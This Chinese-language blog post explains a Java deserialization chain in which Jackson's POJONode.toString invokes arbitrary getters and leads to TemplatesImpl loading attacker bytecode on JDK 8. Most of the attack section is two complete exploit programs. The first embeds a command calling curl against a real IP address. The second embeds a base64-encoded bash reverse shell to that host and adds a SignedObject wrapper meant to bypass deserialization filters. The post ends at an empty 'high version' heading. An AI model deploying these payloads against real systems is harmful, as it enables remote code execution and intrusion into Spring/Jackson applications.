POJONode调用任意类的getter方法

Last updated on September 27, 2024 am

介绍

POJONode是jackson库中的一个类,而jackson是一个用于处理 JSON 数据的 Java 库,广泛应用于 Spring Boot 中进行 JSON 序列化和反序列化,springboot本身就自带了jackson依赖,如果不是springboot就可能要自己添加jackson为依赖。

Spring Boot 的起始器(starter-web)依赖也会自动包含这个库。(复现这条链的时候就要用)

利用链

BadAttributeValueExpException.toString -> POJONode.toString -> jackson反序列化->getter

EventListenerList.toString -> POJONode.toString-> jackson反序列化->getter

要调用哪个对象的getter就把他传给POJONode

可以在前面加上其他链,使得其他链连接到这条链就可以利用了

在序列化时,要重写com.fasterxml.jackson.databind.node.BaseJsonNode:把里面的writeReplace注释掉,才能够序列化成功。

分析

JackSon序列化会触发getter,是由于jackSon中将对象序列化成一个json串主要是使用的ObjectMapper#writeValueAsString方法,

writeValueAsString会通过遍历的方法将bean对象中的所有的属性的getter方法进行调用。例子如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.example.demo;

public class Person {
private String name;
private int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
System.out.println("getName");
return name;
}
public int getAge() {
System.out.println("getAge");
return age;
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package com.example.demo;

import com.fasterxml.jackson.databind.ObjectMapper;

public class Test {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();

// 创建一个 Person 对象并序列化为 JSON 字符串
Person person = new Person("fru1ts",20);

String jsonString = mapper.writeValueAsString(person);
System.out.println("Serialized JSON: " + jsonString);
}
}


//getName
//getAge
//Serialized JSON: {"name":"fru1ts","age":20}

而POJOnode继承自ValueNode,ValueNode继承自BaseJsonNode,BaseJsonNode的toString为

1
2
3
public String toString() {
return InternalNodeMapper.nodeToString(this);
}

跟进nodeToString

会调用ObjectWriter的writeValueAsString,而ObjectWriter的writeValueAsString和ObjectMapper的writeValueAsString功能是一样的,所以能够触发任意getter。

BadAttributeValueExpException触发toString
1
2
3
4
5
6
7
8
    BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
setFieldValue(exp,"val", jsonNodes);

private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
EventListenerList触发toString
1
2
3
4
5
6
7
8
9
10
11
EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) getFieldValue(undoManager, "edits");
vector.add(jsonNodes);
setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});

private static Object getFieldValue(Object obj, String field) throws Exception{
Field f = obj.getClass().getSuperclass().getDeclaredField(field);
f.setAccessible(true);
return f.get(obj);
}

低版本(jdk8)

低版本的com.sun.*包可以直接调用,高版本com.sun.*包是没有暴露出来的。

低版本BadAttributeValueExpExceptionval类似是Object,而高版本限制为String导致不能利用。

低版本_factory的属性值可以是null,而高版本_factory的属性值不能是null

TemplatesImpl链

1
POJONode::toString->InternalNodeMapper::nodeToString->ObjectWriter::writeValueAsString->ObjectWriter::_writeValueAndClose->ObjectWriter::serialize->DefaultSerializerProvider::serializeValue->DefaultSerializerProvider::_serialize->SerializableSerializer::serialize->POJONode::serialize->SerializerProvider::defaultSerializeValue->BeanSerializer::serialize->BeanSerializer::serializeFields->BeanPropertyWriter::serializeAsField

到这里可以任意调用TemplatesImpl的任意getter,接着

1
TemplatesImpl::getOutputProperties->TemplatesImpl::newTransformer->TemplatesImpl::getTransletInstance

然后执行到

1
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

在newInstance()会类加载TemplatesImpl的_bytecodes的恶意字节(具体原因暂时不知道为什么)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package com.example.demo;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.springframework.aop.framework.AdvisedSupport;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class EXP {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor ctcconstructor = new CtConstructor(new CtClass[]{},ctClass);
ctcconstructor.setBody("Runtime.getRuntime().exec(\"curl http://8.138.10.69:9090\");");
ctClass.addConstructor(ctcconstructor);
byte[] bytes = ctClass.toBytecode();


Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "xxx");
setFieldValue(templatesImpl, "_tfactory", null);


AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);

POJONode jsonNodes = new POJONode(proxy);


BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
setFieldValue(exp,"val", jsonNodes);


System.out.println(serial(exp));
deserial(serial(exp));
}

public static String serial(Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}

public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

SignObject链

这是TemplatesImpl链的二次反序列化,可以用于绕过一些过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
package com.example.demo;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.springframework.aop.framework.AdvisedSupport;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.security.*;
import java.util.Base64;

public class EXP {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor ctcconstructor = new CtConstructor(new CtClass[]{},ctClass);
ctcconstructor.setBody("Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzOC4xMC42OS85MDkwIDA+JjE=}|{base64,-d}|{bash,-i}\");");
ctClass.addConstructor(ctcconstructor);
ctClass.getClassFile().setMajorVersion(49);
byte[] bytes = ctClass.toBytecode();


TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "1");
setFieldValue(templatesImpl, "_tfactory", null);


//使用AOP代理提高触发稳定性:https://xz.aliyun.com/t/12846?time__1311=GqGxuDcDRGexlxx2DUhrKqit3o4rZYoD#toc-4
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);


POJONode jsonNodes1 = new POJONode(proxy);


BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null);
setFieldValue(exp2,"val",jsonNodes1);


KeyPairGenerator keyPairGenerator= KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(exp2,privateKey,signingEngine);


POJONode jsonNodes = new POJONode(signedObject);


BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
setFieldValue(exp,"val",jsonNodes);


System.out.println(serial(exp));
// deserial(serial(exp));
}

public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}

public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

【Web】浅聊Jackson序列化getter的利用——POJONode-CSDN博客

Jackson的原生反序列化利用 | Java (gitbook.io)

TemplatesImpl利用链分析 - seizer-zyx - 博客园 (cnblogs.com)

高版本